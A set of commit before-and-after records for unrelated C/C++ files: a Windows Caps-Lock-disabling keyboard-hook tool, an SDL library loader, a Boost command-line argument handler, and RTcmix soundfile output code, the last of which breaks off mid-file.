<commit_before>#define _WIN32_WINNT 0x0601 #pragma comment( lib, "user32.lib" ) #include <iostream> #include <windows.h> #include <stdio.h> #include <shellapi.h> #include "defines.h" #include "resource.h" #include "helpers.h" #include "WindowHelpers.h" HHOOK hKeyboardHook; __declspec(dllexport) LRESULT CALLBACK KeyboardEvent(int nCode, WPARAM wParam, LPARAM lParam) { DWORD SHIFT_key = 0; DWORD CTRL_key = 0; DWORD ALT_key = 0; if ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN))) { KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam); DWORD dwMsg = 1; dwMsg += hooked_key.scanCode << 16; dwMsg += hooked_key.flags << 24; char lpszKeyName[1024] = { 0 }; int i = GetKeyNameText(dwMsg, (lpszKeyName + 1), 0xFF) + 1; int key = hooked_key.vkCode; if (!WindowHelpers::isNoCapsLockEnabled()) { if (hooked_key.vkCode == VK_CAPITAL) { if ((GetKeyState(VK_CAPITAL) & 0x0001) == 0) { helpers::DisableCapsLock(); } } } if (!WindowHelpers::isWindowsKeyEnabled()) { if (hooked_key.vkCode == VK_LWIN || hooked_key.vkCode == VK_RWIN) { return 1; } } if (!WindowHelpers::isMenuKeyEnabled()) { if (hooked_key.vkCode == VK_APPS) { return 1; } } SHIFT_key = GetAsyncKeyState(VK_SHIFT); CTRL_key = GetAsyncKeyState(VK_CONTROL); ALT_key = GetAsyncKeyState(VK_MENU); if (key >= 'A' && key <= 'Z') { if (GetAsyncKeyState(VK_SHIFT) >= 0) key += 32; // Lets you quit the program lmao if (CTRL_key != 0 && ALT_key != 0 && SHIFT_key != 0 && key == 'Q') { PostMessage(helpers::GetNoCapsLockWindow(), WM_CLOSE, 0, 0); } SHIFT_key = 0; CTRL_key = 0; ALT_key = 0; } } return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam); } void MessageLoop() { MSG message; while (GetMessage(&message, NULL, 0, 0)) { TranslateMessage(&message); DispatchMessage(&message); } } DWORD WINAPI CapsLockKillerHook(LPVOID lpParm) { HINSTANCE hInstance = GetModuleHandle(NULL); if (!hInstance) hInstance = LoadLibrary((LPCSTR)lpParm); if (!hInstance) return 1; hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardEvent, hInstance, NULL); MessageLoop(); UnhookWindowsHookEx(hKeyboardHook); return 0; } void CreateWindowThread() { WindowHelpers winhelpers; winhelpers.CreateWndProc(); } int main(int argc, char** argv) { if (helpers::CheckOneInstance()) { HANDLE hThread; HANDLE wThread; DWORD dwThread; DWORD dwwThread; printf("Simple tool created by Toyz which allows you to kill capslock\n"); printf("Source code at: https://github.com/Toyz/NoCapsLock\n"); printf("LICENSED UNDER APACHE 2.0\n"); hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CapsLockKillerHook, (LPVOID)argv[0], NULL, &dwThread); wThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CreateWindowThread, (LPVOID)argv[0], NULL, &dwwThread); ShowWindow(helpers::GetConsoleWindow(), SHOW_WINDOW); if (hThread) return WaitForSingleObject(hThread, INFINITE); if (wThread) return WaitForSingleObject(wThread, INFINITE); else return 1; } else { ShowWindow(helpers::GetConsoleWindow(), 0); MessageBox(HWND_DESKTOP, "Only one instance can be running at a given time!", "ERROR - NoCapsLock", MB_ICONERROR | MB_OK); return 0; } } <commit_msg>Clean up<commit_after>#define _WIN32_WINNT 0x0601 #pragma comment( lib, "user32.lib" ) #include <iostream> #include <windows.h> #include <stdio.h> #include <shellapi.h> #include "defines.h" #include "resource.h" #include "helpers.h" #include "WindowHelpers.h" HHOOK hKeyboardHook; __declspec(dllexport) LRESULT CALLBACK KeyboardEvent(int nCode, WPARAM wParam, LPARAM lParam) { DWORD SHIFT_key = 0; DWORD CTRL_key = 0; DWORD ALT_key = 0; if ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN))) { KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam); DWORD dwMsg = 1; dwMsg += hooked_key.scanCode << 16; dwMsg += hooked_key.flags << 24; char lpszKeyName[1024] = { 0 }; int i = GetKeyNameText(dwMsg, (lpszKeyName + 1), 0xFF) + 1; int key = hooked_key.vkCode; if (!WindowHelpers::isNoCapsLockEnabled()) { if (hooked_key.vkCode == VK_CAPITAL) { if ((GetKeyState(VK_CAPITAL) & 0x0001) == 0) { helpers::DisableCapsLock(); //return 1; } } } if (!WindowHelpers::isWindowsKeyEnabled()) { if (hooked_key.vkCode == VK_LWIN || hooked_key.vkCode == VK_RWIN) { return 1; } } if (!WindowHelpers::isMenuKeyEnabled()) { if (hooked_key.vkCode == VK_APPS) { return 1; } } SHIFT_key = GetAsyncKeyState(VK_SHIFT); CTRL_key = GetAsyncKeyState(VK_CONTROL); ALT_key = GetAsyncKeyState(VK_MENU); if (key >= 'A' && key <= 'Z') { if (GetAsyncKeyState(VK_SHIFT) >= 0) key += 32; // Lets you quit the program lmao if (CTRL_key != 0 && ALT_key != 0 && SHIFT_key != 0 && key == 'Q') { PostMessage(helpers::GetNoCapsLockWindow(), WM_CLOSE, 0, 0); } SHIFT_key = 0; CTRL_key = 0; ALT_key = 0; } } return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam); } void MessageLoop() { MSG message; while (GetMessage(&message, NULL, 0, 0)) { TranslateMessage(&message); DispatchMessage(&message); } } DWORD WINAPI CapsLockKillerHook(LPVOID lpParm) { HINSTANCE hInstance = GetModuleHandle(NULL); if (!hInstance) hInstance = LoadLibrary((LPCSTR)lpParm); if (!hInstance) return 1; hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardEvent, hInstance, NULL); MessageLoop(); UnhookWindowsHookEx(hKeyboardHook); return 0; } void CreateWindowThread() { WindowHelpers winhelpers; winhelpers.CreateWndProc(); } int main(int argc, char** argv) { if (helpers::CheckOneInstance()) { HANDLE hThread; HANDLE wThread; DWORD dwThread; DWORD dwwThread; printf("Simple tool created by Toyz which allows you to kill capslock\n"); printf("Source code at: https://github.com/Toyz/NoCapsLock\n"); printf("LICENSED UNDER APACHE 2.0\n"); hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CapsLockKillerHook, (LPVOID)argv[0], NULL, &dwThread); wThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CreateWindowThread, (LPVOID)argv[0], NULL, &dwwThread); ShowWindow(helpers::GetConsoleWindow(), SHOW_WINDOW); if (hThread) return WaitForSingleObject(hThread, INFINITE); if (wThread) return WaitForSingleObject(wThread, INFINITE); else return 1; } else { ShowWindow(helpers::GetConsoleWindow(), 0); MessageBox(HWND_DESKTOP, "Only one instance can be running at a given time!", "ERROR - NoCapsLock", MB_ICONERROR | MB_OK); return 0; } } <|endoftext|>
<commit_before>/* This file is part of the Util library. Copyright (C) 2017 Sascha Brandt <myeti@mail.upb.de> This library is subject to the terms of the Mozilla Public License, v. 2.0. You should have received a copy of the MPL along with this library; see the file LICENSE. If not, you can obtain one at http://mozilla.org/MPL/2.0/. */ #include "LoadLibrary.h" #include "Macros.h" #if defined(UTIL_HAVE_LIB_SDL2) COMPILER_WARN_PUSH COMPILER_WARN_OFF_GCC(-Wswitch-default) #include <SDL_loadso.h> COMPILER_WARN_POP #include <unordered_map> #include <memory> using namespace Util; struct LibraryHandle { StringIdentifier id; void* handle; }; typedef std::unordered_map<StringIdentifier, LibraryHandle> LibraryHandles_t; static LibraryHandles_t & getLibraryHandles() { static std::unique_ptr<LibraryHandles_t> libraryHandles(new LibraryHandles_t); return *libraryHandles.get(); } const StringIdentifier Util::loadLibrary(const std::string& filename) { StringIdentifier libraryId(filename); auto & libraryHandles = getLibraryHandles(); auto entry = libraryHandles.find(libraryId); if (entry == libraryHandles.cend()) { void* handle = SDL_LoadObject(filename.c_str()); if(!handle) { WARN(std::string("Util::loadLibrary failed: ") + SDL_GetError()); return StringIdentifier(0); } libraryHandles[libraryId] = {libraryId, handle}; } return libraryId; } void* Util::loadFunction(const StringIdentifier& libraryId, const std::string& name) { auto & libraryHandles = getLibraryHandles(); auto entry = libraryHandles.find(libraryId); if (entry == libraryHandles.cend()) { WARN(std::string("Util::loadFunction failed: ") + libraryId.toString() + std::string(" not loaded!")); return nullptr; } void* fnHandle = SDL_LoadFunction(entry->second.handle, name.c_str()); if(!fnHandle) { WARN(std::string("Util::loadFunction failed: ") + SDL_GetError()); } return fnHandle; } void Util::unloadLibrary(const StringIdentifier& libraryId) { auto & libraryHandles = getLibraryHandles(); auto entry = libraryHandles.find(libraryId); if (entry != libraryHandles.cend()) { SDL_UnloadObject(entry->second.handle); libraryHandles.erase(entry); } } #else const StringIdentifier Util::loadLibrary(const std::string& filename) { WARN("Util::loadLibrary requires SDL to work!"); return StringIdentifier(0); } void* Util::loadFunction(const StringIdentifier& libraryId, const std::string& name) { WARN("Util::loadFunction requires SDL to work!"); return nullptr; } void Util::unloadLibrary(const StringIdentifier& libraryId) { WARN("Util::unloadLibrary requires SDL to work!"); } #endif<commit_msg>quick fix<commit_after>/* This file is part of the Util library. Copyright (C) 2017 Sascha Brandt <myeti@mail.upb.de> This library is subject to the terms of the Mozilla Public License, v. 2.0. You should have received a copy of the MPL along with this library; see the file LICENSE. If not, you can obtain one at http://mozilla.org/MPL/2.0/. */ #include "LoadLibrary.h" #include "Macros.h" #if defined(UTIL_HAVE_LIB_SDL2) COMPILER_WARN_PUSH COMPILER_WARN_OFF_GCC(-Wswitch-default) #include <SDL_loadso.h> COMPILER_WARN_POP #include <unordered_map> #include <memory> using namespace Util; struct LibraryHandle { StringIdentifier id; void* handle; }; typedef std::unordered_map<StringIdentifier, LibraryHandle> LibraryHandles_t; static LibraryHandles_t & getLibraryHandles() { static std::unique_ptr<LibraryHandles_t> libraryHandles(new LibraryHandles_t); return *libraryHandles.get(); } const StringIdentifier Util::loadLibrary(const std::string& filename) { StringIdentifier libraryId(filename); auto & libraryHandles = getLibraryHandles(); auto entry = libraryHandles.find(libraryId); if (entry == libraryHandles.cend()) { void* handle = SDL_LoadObject(filename.c_str()); if(!handle) { WARN(std::string("Util::loadLibrary failed: ") + SDL_GetError()); return StringIdentifier(0); } libraryHandles[libraryId] = {libraryId, handle}; } return libraryId; } void* Util::loadFunction(const StringIdentifier& libraryId, const std::string& name) { auto & libraryHandles = getLibraryHandles(); auto entry = libraryHandles.find(libraryId); if (entry == libraryHandles.cend()) { WARN(std::string("Util::loadFunction failed: ") + libraryId.toString() + std::string(" not loaded!")); return nullptr; } void* fnHandle = SDL_LoadFunction(entry->second.handle, name.c_str()); if(!fnHandle) { WARN(std::string("Util::loadFunction failed: ") + SDL_GetError()); } return fnHandle; } void Util::unloadLibrary(const StringIdentifier& libraryId) { auto & libraryHandles = getLibraryHandles(); auto entry = libraryHandles.find(libraryId); if (entry != libraryHandles.cend()) { SDL_UnloadObject(entry->second.handle); libraryHandles.erase(entry); } } #else using namespace Util; const StringIdentifier Util::loadLibrary(const std::string&) { WARN("Util::loadLibrary requires SDL to work!"); return StringIdentifier(0); } void* Util::loadFunction(const StringIdentifier&, const std::string&) { WARN("Util::loadFunction requires SDL to work!"); return nullptr; } void Util::unloadLibrary(const StringIdentifier&) { WARN("Util::unloadLibrary requires SDL to work!"); } #endif <|endoftext|>
<commit_before>#include "ArgHandler.h" ArgHandler::ArgHandler() { // handle defaults in the parse(..) and verify(..) functions } void ArgHandler::parse(int argc, char** argv) { desc.add_options() /* --env [ on | off ] --bgc [ on | off ] --dvm [ on | off ] --dsl [ on | off ] --dsb [ on | off ] --friderived [ on | off ] */ // NOT IMPLEMENTED YET - need to sort out some issues // ("env", boost::program_options::value<string>(&env)->default_value("on"), // "Turn the environmental module on or off." // ) // ("bgc", boost::program_options::value<string>(&bgc)->default_value("on"), // "Turn the biogeochemical module on or off." // ) // ("dvm", boost::program_options::value<string>(&dvm)->default_value("on"), // "Turn the dynamic vegetation module on or off." // ) ("calibrationmode", boost::program_options::value<string>(&calibrationmode)->default_value("off"), "(NOT IMPLEMENTED) whether or not the calibration module is on...? " "list of strings for modules to calibrate?" ) ("loglevel,l", boost::program_options::value<string>(&loglevel)->default_value("fatal"), "the level above which all log messages will be printed. Here are the " "choices: debug, info, note warn, err, fatal." ) ("mode,m", boost::program_options::value<string>(&mode)->default_value("siterun"),"change mode between siterun, regnrun, or parallel") ("control-file,f", boost::program_options::value<string>(&ctrlfile)->default_value("config/controlfile_site.txt"), "choose a control file to use") ("cohort-id,c", boost::program_options::value<string>(&chtid)->default_value("1"), "choose a specific cohort to run") ("space-time-config,s", boost::program_options::value<string>(), "choose spatial or temporal running mode") ("help,h", "produces helps message, then quits") ("version,v", "(NOT IMPLEMENTED)show the version information") ("debug,d", "(NOT IMPLEMENTED) enable debug mode") ; boost::program_options::store(boost::program_options::parse_command_line(argc, argv, desc), varmap); boost::program_options::notify(varmap); if (varmap.count("env")) { env = varmap["env"].as<string>(); } if (varmap.count("bgc")) { bgc = varmap["bgc"].as<string>(); } if (varmap.count("dvm")) { dvm = varmap["dvm"].as<string>(); } if (varmap.count("cohort-id")) { chtid = varmap["cohort-id"].as<string>(); } if (varmap.count("space-time-config")) { regrunmode = varmap["space-time-config"].as<string>(); } if (varmap.count("help")) { help = true; } if (varmap.count("version")) { version = true; } if (varmap.count("debug")) { debug = true; } } void ArgHandler::verify() { // The regional "run mode"...loop order?? std::cout << "Verification reuimentary - needs more programming help!\n"; if (mode.compare("regnrun") == 0) { if ( (regrunmode.compare("regner1") == 0) || (regrunmode.compare("regner2") == 0) ) { // pass, all ok } else { std::cout << "Invalid option (regrunmode). Quitting.\n"; exit(-1); } } } string ArgHandler::getEnv() const { return env; } string ArgHandler::getBgc() const { return bgc; } string ArgHandler::getDvm() const { return dvm; } string ArgHandler::getCalibrationMode(){ return calibrationmode; } string ArgHandler::getLogLevel(){ return loglevel; } string ArgHandler::getMode(){ return mode; } string ArgHandler::getCtrlfile(){ return ctrlfile; } string ArgHandler::getChtid(){ return chtid; } string ArgHandler::getRegrunmode(){ return regrunmode; } void ArgHandler::showHelp(){ /** * Print out command help */ std::cout << desc << std::endl; } <commit_msg>revise implementation of command line interface (ArgHandler.cpp)<commit_after>#include "ArgHandler.h" ArgHandler::ArgHandler() { // handle defaults in the parse(..) and verify(..) functions } void ArgHandler::parse(int argc, char** argv) { desc.add_options() ("mode,m", boost::program_options::value<std::string>(&mode), "siterun or regnrun" ) ("cal-mode,c", boost::program_options::bool_switch(&cal_mode), "Switch for calibration mode. When this flag is preset, the program will " "be forced to run a single site and with --loop-order=space-major. The " "program will generate yearly and monthly '.json' files in your /tmp " " directory that are intended to be read by other programs or scripts.") ("loop-order,o", boost::program_options::value<std::string>(&loop_order) ->default_value("space-major"), "Which control loop is on the outside: 'space-major' or 'time-major'. For " "example 'space-major' means 'for each cohort, for each year'.") ("ctrl-file,f", boost::program_options::value<std::string>(&ctrl_file) ->default_value("config/controlfile_site.txt"), "choose a control file to use") ("log-level,l", boost::program_options::value<std::string>(&log_level) ->default_value("warn"), "Control the verbositiy of the console log statements. Choose one of " "the following: debug, info, note, warn, err, fatal." ) ("cohort-id,n", boost::program_options::value<int>(&cohort_id) ->default_value(1), "choose a specific cohort to run. TODO: must be a number?? must be in runchtlist.nc?? implies single-site?? Allows slicing? or other specification of more than one cohort?") ("help,h", boost::program_options::bool_switch(&help), "produces helps message, then quits") // ("foo,f", // po::value<std::std::string>() // ->implicit_value("") // ->zero_tokens() // ->notifier(&got_foo), // "foo description") ; boost::program_options::store( boost::program_options::parse_command_line(argc, argv, desc), varmap); boost::program_options::notify(varmap); } void ArgHandler::verify() { // The regional "run mode"...loop order?? std::cout << "Verification reuimentary - needs more programming help!\n"; if (mode.compare("cal-mode") == 0) { if ( true ) { // pass, all ok } else { std::cout << "Invalid option. Quitting.\n"; exit(-1); } } } /** Print out command help. */ void ArgHandler::show_help(){ std::cout << desc << std::endl; } <|endoftext|>
<commit_before>#include <stdio.h> #include <string.h> #include <sys/stat.h> #include "../rtstuff/rtdefs.h" #ifdef USE_SNDLIB #include <unistd.h> #include <errno.h> #include "../H/sndlibsupport.h" #else #include "../H/sfheader.h" #include "../H/byte_routines.h" #endif int rtfileit = 0; /* signal writing to soundfile */ int rtoutfile; #ifdef USE_SNDLIB /* The syntax of rtoutput is expanded when using sndlib: rtoutput("filename" [, "header_type"] [, "data_format"]) - "header_type" is one of: "aiff", "aifc", "wav", "next", "sun", or "ircam" The default is "aiff", since this is what most other unix programs can use (Notam software, Cecilia, etc.). "next" and "sun" (the familiar ".au" format) are synonyms. "ircam" is the older, non-hybrid BICSF format. (Note that sndlib can't write the hybrid EBICSF headers.) All formats are bigendian, except for "wav". - "data_format" is one of: "short" 16-bit linear "float" 32-bit floating point "normfloat" 32-bit floating point in range (mostly) from -1.0 to +1.0 "16" synonym for "short" "24" 24-bit linear, not yet supported in RTcmix The default is "short". NOTES: (1) The sampling rate and number of channels are specified in the call to rtsetparams. (2) If you ask for "aiff" and "float" (or "normfloat"), you'll get "aifc" format instead. This is because sndlib doesn't handle floats properly with AIFF format. (3) The case of the "header_type" and "data_format" arguments is not significant, nor is their order. (4) If you want to use floating point files in Snd, choose "normfloat" format. If you want to use them in Mxv, choose the "next" header type. Many programs don't read AIFC files, maybe because they assume these are always compressed. There are other possibilities with sndlib, but limiting the choices to those listed above makes for an easier Minc interface to rtoutput. */ /* CAUTION: Don't change these without thinking about constraints imposed by the various formats, and by sndlib and any programs (Mxv, Mix, Cecilia) that should be compatible. */ #define DEFAULT_HEADER_TYPE AIFF_sound_file #define DEFAULT_DATA_FORMAT snd_16_linear extern int print_is_on; int output_header_type = -1; int output_data_format = -1; int normalize_output_floats = 0; char *rtoutsfname; static char comment[DEFAULT_COMMENT_LENGTH] = ""; #define CLOBBER_WARNING \ "Specified output file already exists! \n\n\ Turn on \"clobber mode\" in your score to overwrite it.\n\ (Put \"CLOBBER(1)\" before call to rtoutput).\n" static int clobber = 0; /* Default clobber mode (see comment below) */ typedef enum { INVALID_PARAM = 0, HEADER_TYPE, DATA_FORMAT, ENDIANNESS } ParamType; typedef struct { ParamType type; int identifier; char arg[16]; } Param; /* See description of these strings above. (Supporting endian request would be really confusing, because there are many constraints in the formats. The only thing it would buy us is the ability to specify little-endian AIFC linear formats. Not worth the trouble.) */ static Param param_list[] = { { HEADER_TYPE, NeXT_sound_file, "next" }, { HEADER_TYPE, NeXT_sound_file, "sun" }, { HEADER_TYPE, AIFF_sound_file, "aiff" }, { HEADER_TYPE, AIFF_sound_file, "aifc" }, { HEADER_TYPE, RIFF_sound_file, "wav" }, { HEADER_TYPE, IRCAM_sound_file, "ircam" }, { DATA_FORMAT, snd_16_linear, "short" }, { DATA_FORMAT, snd_32_float, "float" }, { DATA_FORMAT, snd_32_float, "normfloat" }, { DATA_FORMAT, snd_16_linear, "16" }, { DATA_FORMAT, snd_24_linear, "24" }, /* not yet supported */ { ENDIANNESS, 0, "big" }, /* not implemented */ { ENDIANNESS, 1, "little" } }; static int num_params = sizeof(param_list) / sizeof(Param); static int parse_rtoutput_args(int, double []); /* -------------------------------------------------- parse_rtoutput_args --- */ static int parse_rtoutput_args(int nargs, double pp[]) { int anint, i, j, matched; int aifc_requested, normfloat_requested; char *arg; if (nargs == 0) { fprintf(stderr, "rtoutput: you didn't specify a file name!\n"); return -1; } /* This is the ancient method of casting a double to a char ptr. */ anint = (int)pp[0]; rtoutsfname = (char *)anint; output_header_type = DEFAULT_HEADER_TYPE; output_data_format = DEFAULT_DATA_FORMAT; aifc_requested = normfloat_requested = 0; for (i = 1; i < nargs; i++) { anint = (int)pp[i]; arg = (char *)anint; matched = 0; for (j = 0; j < num_params; j++) { if (strcasecmp(param_list[j].arg, arg) == 0) { matched = 1; break; } } if (!matched) { fprintf(stderr, "rtoutput: unrecognized argument \"%s\"\n", arg); return -1; } switch (param_list[j].type) { case HEADER_TYPE: output_header_type = param_list[j].identifier; if (output_header_type == AIFF_sound_file && strcasecmp(param_list[j].arg, "aifc") == 0) aifc_requested = 1; break; case DATA_FORMAT: output_data_format = param_list[j].identifier; if (output_data_format == snd_32_float && strcasecmp(param_list[j].arg, "normfloat") == 0) normfloat_requested = 1; break; case ENDIANNESS: /* currently unused */ break; default: } } /* Handle some special cases. */ /* If "wav", make data format little-endian. */ if (output_header_type == RIFF_sound_file) { switch (output_data_format) { case snd_16_linear: output_data_format = snd_16_linear_little_endian; break; case snd_24_linear: output_data_format = snd_24_linear_little_endian; break; case snd_32_float: output_data_format = snd_32_float_little_endian; break; } } /* If AIFF, use AIFC only if explicitely requested, or if the data format is float. */ if (output_header_type == AIFF_sound_file) { if (output_data_format == snd_32_float) aifc_requested = 1; set_aifc_header(aifc_requested); /* in sndlib/headers.c */ } /* If writing to a float file, decide whether to normalize the samples, i.e., to divide them all by 32768 so as to make the normal range fall between -1.0 and +1.0. This is what Snd and sndlib like to see, but it's not the old cmix way. */ if (normfloat_requested) normalize_output_floats = 1; #ifdef ALLBUG fprintf(stderr, "name: %s, head: %d, data: %d, aifc: %d, norm: %d\n", rtoutsfname, output_header_type, output_data_format, aifc_requested, normalize_output_floats); #endif return 0; } /* ------------------------------------------------- set_rtoutput_clobber --- */ void set_rtoutput_clobber(int state) { clobber = state; } /* ------------------------------------------------------------- rtoutput --- */ /* This routine is used in the Minc score to open up a file for writing by RT instruments. pp[0] is a pointer to the soundfile name, disguised as a double by the crafty Minc. (p[] is passed in just for fun.) Optional string arguments follow the filename, and parse_rtoutput_args processes these. See the comment at the top of this file for the meaning of these arguments. If "clobber" mode is on, we delete an existing file with the specified file name, creating a header according to what parse_rtoutput_args determines. Returns -1.0 if a file is already open for writing. Dies if there is any other error. */ double rtoutput(float p[], int n_args, double pp[]) { int i, error, loc, nsamps; struct stat statbuf; if (rtfileit == 1) { fprintf(stderr, "A soundfile is already open for writing...\n"); return -1.0; } error = parse_rtoutput_args(n_args, pp); if (error) exit(1); /* already reported in parse_rtoutput_args */ error = stat(rtoutsfname, &statbuf); if (error) { if (errno == ENOENT) { ; /* File doesn't exist -- no problem */ } else { fprintf(stderr, "Error accessing file \"%s\": %s\n", rtoutsfname, strerror(errno)); exit(1); } } else { /* File exists; find out whether we can clobber it */ if (!clobber) { fprintf(stderr, "\n%s\n", CLOBBER_WARNING); exit(1); } else { /* make sure it's a regular file */ if (!S_ISREG(statbuf.st_mode)) { fprintf(stderr, "\"%s\" isn't a regular file; won't clobber it\n", rtoutsfname); exit(1); } /* try to delete it */ error = unlink(rtoutsfname); if (error) { fprintf(stderr, "Error deleting clobbered file \"%s\": %s\n", rtoutsfname, strerror(errno)); exit(1); } } } /* make sure relevant parts of sndlib are initialized */ create_header_buffer(); create_descriptors(); for (i = 0; i < DEFAULT_COMMENT_LENGTH; i++) comment[i] = '\0'; nsamps = loc = 0; error = c_write_header(rtoutsfname, output_header_type, (int)SR, NCHANS, loc, nsamps, output_data_format, comment, DEFAULT_COMMENT_LENGTH); if (error == -1) { fprintf(stderr, "%s: can't write header for output file\n", rtoutsfname); exit(1); } rtoutfile = clm_open_write(rtoutsfname); if (rtoutfile == -1) { fprintf(stderr, "%s: can't write header for output file\n", rtoutsfname); exit(1); } open_clm_file_descriptors(rtoutfile, output_data_format, c_snd_datum_size(output_data_format), c_snd_header_data_location()); if (print_is_on) { printf("Input file %s set for reading\n", rtoutsfname); printf(" type: %s\n", sound_type_name(output_header_type)); printf(" format: %s\n\n", sound_format_name(output_data_format)); } rtfileit = 1; return 1.0; } #else /* !USE_SNDLIB */ int rtoutswap; extern int swap; double rtoutput(float *p, int n_args, double *pp) { /* this routine is used in the Minc score to open up a file for * writing by RT instruments. p[0] is the soundfile name. * This routine will exit if the file already exists (it always * does destructive writes). It will return -1.0 if a file is * already open for writing. * */ int tint,status,i; char tmpch[1000]; /* for testing the file */ char *rtoutsfname; int chans,srate,class; long pvbuf[4]; long buflen; char *insrc; SFHEADER sfdesc; struct stat sfst; if (rtfileit == 1) { fprintf(stderr,"A soundfile is already open for writing...\n"); return(-1.0); } tint = (int)pp[0]; rtoutsfname = (char *)tint; strcpy(tmpch, "test -f "); strcat(tmpch, rtoutsfname); status = 2; rwopensf(rtoutsfname,rtoutfile,sfdesc,sfst,"CMIX",i,status); if (i<0) { fprintf(stderr,"FILE ERROR: could not open file %s\n",rtoutsfname); exit(1); } rtoutswap = swap; if (NCHANS != sfchans(&sfdesc)) { fprintf(stderr,"SETUP ERROR: soundfile channels != rtsetparams channels\n"); exit(1); } if (SR != sfsrate(&sfdesc)) { fprintf(stderr,"SETUP ERROR: soundfile rate != rtsetparams rate\n"); exit(1); } rtfileit = 1; return(1.0); } #endif <commit_msg>Moved set_rtoutput_clobber and clobber definitions so that they can be found regardless of USE_SNDLIB.<commit_after>#include <stdio.h> #include <string.h> #include <sys/stat.h> #include "../rtstuff/rtdefs.h" #ifdef USE_SNDLIB #include <unistd.h> #include <errno.h> #include "../H/sndlibsupport.h" #else #include "../H/sfheader.h" #include "../H/byte_routines.h" #endif int rtfileit = 0; /* signal writing to soundfile */ int rtoutfile; static int clobber = 0; /* Default clobber mode (see comment below) */ /* ------------------------------------------------- set_rtoutput_clobber --- */ void set_rtoutput_clobber(int state) { clobber = state; } #ifdef USE_SNDLIB /* The syntax of rtoutput is expanded when using sndlib: rtoutput("filename" [, "header_type"] [, "data_format"]) - "header_type" is one of: "aiff", "aifc", "wav", "next", "sun", or "ircam" The default is "aiff", since this is what most other unix programs can use (Notam software, Cecilia, etc.). "next" and "sun" (the familiar ".au" format) are synonyms. "ircam" is the older, non-hybrid BICSF format. (Note that sndlib can't write the hybrid EBICSF headers.) All formats are bigendian, except for "wav". - "data_format" is one of: "short" 16-bit linear "float" 32-bit floating point "normfloat" 32-bit floating point in range (mostly) from -1.0 to +1.0 "16" synonym for "short" "24" 24-bit linear, not yet supported in RTcmix The default is "short". NOTES: (1) The sampling rate and number of channels are specified in the call to rtsetparams. (2) If you ask for "aiff" and "float" (or "normfloat"), you'll get "aifc" format instead. This is because sndlib doesn't handle floats properly with AIFF format. (3) The case of the "header_type" and "data_format" arguments is not significant, nor is their order. (4) If you want to use floating point files in Snd, choose "normfloat" format. If you want to use them in Mxv, choose the "next" header type. Many programs don't read AIFC files, maybe because they assume these are always compressed. There are other possibilities with sndlib, but limiting the choices to those listed above makes for an easier Minc interface to rtoutput. */ /* CAUTION: Don't change these without thinking about constraints imposed by the various formats, and by sndlib and any programs (Mxv, Mix, Cecilia) that should be compatible. */ #define DEFAULT_HEADER_TYPE AIFF_sound_file #define DEFAULT_DATA_FORMAT snd_16_linear extern int print_is_on; int output_header_type = -1; int output_data_format = -1; int normalize_output_floats = 0; char *rtoutsfname; static char comment[DEFAULT_COMMENT_LENGTH] = ""; #define CLOBBER_WARNING \ "Specified output file already exists! \n\n\ Turn on \"clobber mode\" in your score to overwrite it.\n\ (Put \"CLOBBER(1)\" before call to rtoutput).\n" typedef enum { INVALID_PARAM = 0, HEADER_TYPE, DATA_FORMAT, ENDIANNESS } ParamType; typedef struct { ParamType type; int identifier; char arg[16]; } Param; /* See description of these strings above. (Supporting endian request would be really confusing, because there are many constraints in the formats. The only thing it would buy us is the ability to specify little-endian AIFC linear formats. Not worth the trouble.) */ static Param param_list[] = { { HEADER_TYPE, NeXT_sound_file, "next" }, { HEADER_TYPE, NeXT_sound_file, "sun" }, { HEADER_TYPE, AIFF_sound_file, "aiff" }, { HEADER_TYPE, AIFF_sound_file, "aifc" }, { HEADER_TYPE, RIFF_sound_file, "wav" }, { HEADER_TYPE, IRCAM_sound_file, "ircam" }, { DATA_FORMAT, snd_16_linear, "short" }, { DATA_FORMAT, snd_32_float, "float" }, { DATA_FORMAT, snd_32_float, "normfloat" }, { DATA_FORMAT, snd_16_linear, "16" }, { DATA_FORMAT, snd_24_linear, "24" }, /* not yet supported */ { ENDIANNESS, 0, "big" }, /* not implemented */ { ENDIANNESS, 1, "little" } }; static int num_params = sizeof(param_list) / sizeof(Param); static int parse_rtoutput_args(int, double []); /* -------------------------------------------------- parse_rtoutput_args --- */ static int parse_rtoutput_args(int nargs, double pp[]) { int anint, i, j, matched; int aifc_requested, normfloat_requested; char *arg; if (nargs == 0) { fprintf(stderr, "rtoutput: you didn't specify a file name!\n"); return -1; } /* This is the ancient method of casting a double to a char ptr. */ anint = (int)pp[0]; rtoutsfname = (char *)anint; output_header_type = DEFAULT_HEADER_TYPE; output_data_format = DEFAULT_DATA_FORMAT; aifc_requested = normfloat_requested = 0; for (i = 1; i < nargs; i++) { anint = (int)pp[i]; arg = (char *)anint; matched = 0; for (j = 0; j < num_params; j++) { if (strcasecmp(param_list[j].arg, arg) == 0) { matched = 1; break; } } if (!matched) { fprintf(stderr, "rtoutput: unrecognized argument \"%s\"\n", arg); return -1; } switch (param_list[j].type) { case HEADER_TYPE: output_header_type = param_list[j].identifier; if (output_header_type == AIFF_sound_file && strcasecmp(param_list[j].arg, "aifc") == 0) aifc_requested = 1; break; case DATA_FORMAT: output_data_format = param_list[j].identifier; if (output_data_format == snd_32_float && strcasecmp(param_list[j].arg, "normfloat") == 0) normfloat_requested = 1; break; case ENDIANNESS: /* currently unused */ break; default: } } /* Handle some special cases. */ /* If "wav", make data format little-endian. */ if (output_header_type == RIFF_sound_file) { switch (output_data_format) { case snd_16_linear: output_data_format = snd_16_linear_little_endian; break; case snd_24_linear: output_data_format = snd_24_linear_little_endian; break; case snd_32_float: output_data_format = snd_32_float_little_endian; break; } } /* If AIFF, use AIFC only if explicitely requested, or if the data format is float. */ if (output_header_type == AIFF_sound_file) { if (output_data_format == snd_32_float) 